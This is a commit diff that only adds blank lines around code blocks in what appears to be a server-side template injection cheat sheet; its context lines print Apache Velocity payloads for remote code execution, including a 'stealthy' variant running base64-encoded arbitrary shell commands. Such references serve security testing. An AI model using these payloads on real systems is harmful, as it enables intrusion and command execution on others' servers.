fix(markdown): add blank lines around fenced code blocks to satisfy MD031
This commit is contained in:
@@ -214,6 +214,7 @@ New version of Pebble :
|
|||||||
> Apache Velocity is a Java-based template engine that allows web designers to embed Java code references directly within templates.
|
> Apache Velocity is a Java-based template engine that allows web designers to embed Java code references directly within templates.
|
||||||
|
|
||||||
In a vulnerable environment, Velocity's expression language can be abused to achieve remote code execution (RCE). For example, this payload executes the whoami command and prints the result:
|
In a vulnerable environment, Velocity's expression language can be abused to achieve remote code execution (RCE). For example, this payload executes the whoami command and prints the result:
|
||||||
|
|
||||||
```java
|
```java
|
||||||
#set($str=$class.inspect("java.lang.String").type)
|
#set($str=$class.inspect("java.lang.String").type)
|
||||||
#set($chr=$class.inspect("java.lang.Character").type)
|
#set($chr=$class.inspect("java.lang.Character").type)
|
||||||
@@ -226,6 +227,7 @@ $str.valueOf($chr.toChars($out.read()))
|
|||||||
```
|
```
|
||||||
|
|
||||||
A more flexible and stealthy payload that supports base64-encoded commands, allowing execution of arbitrary shell commands such as `echo "a" > /tmp/a`. Below is an example with `whoami` in base64:
|
A more flexible and stealthy payload that supports base64-encoded commands, allowing execution of arbitrary shell commands such as `echo "a" > /tmp/a`. Below is an example with `whoami` in base64:
|
||||||
|
|
||||||
```java
|
```java
|
||||||
#set($base64EncodedCommand = 'd2hvYW1p')
|
#set($base64EncodedCommand = 'd2hvYW1p')
|
||||||
|
|
||||||
@@ -256,6 +258,7 @@ A more flexible and stealthy payload that supports base64-encoded commands, allo
|
|||||||
$output.replaceAll("\\s+$", "").replaceAll("^\\s+", "")
|
$output.replaceAll("\\s+$", "").replaceAll("^\\s+", "")
|
||||||
#end
|
#end
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Groovy
|
## Groovy
|
||||||
|
|||||||
Reference in New Issue
Block a user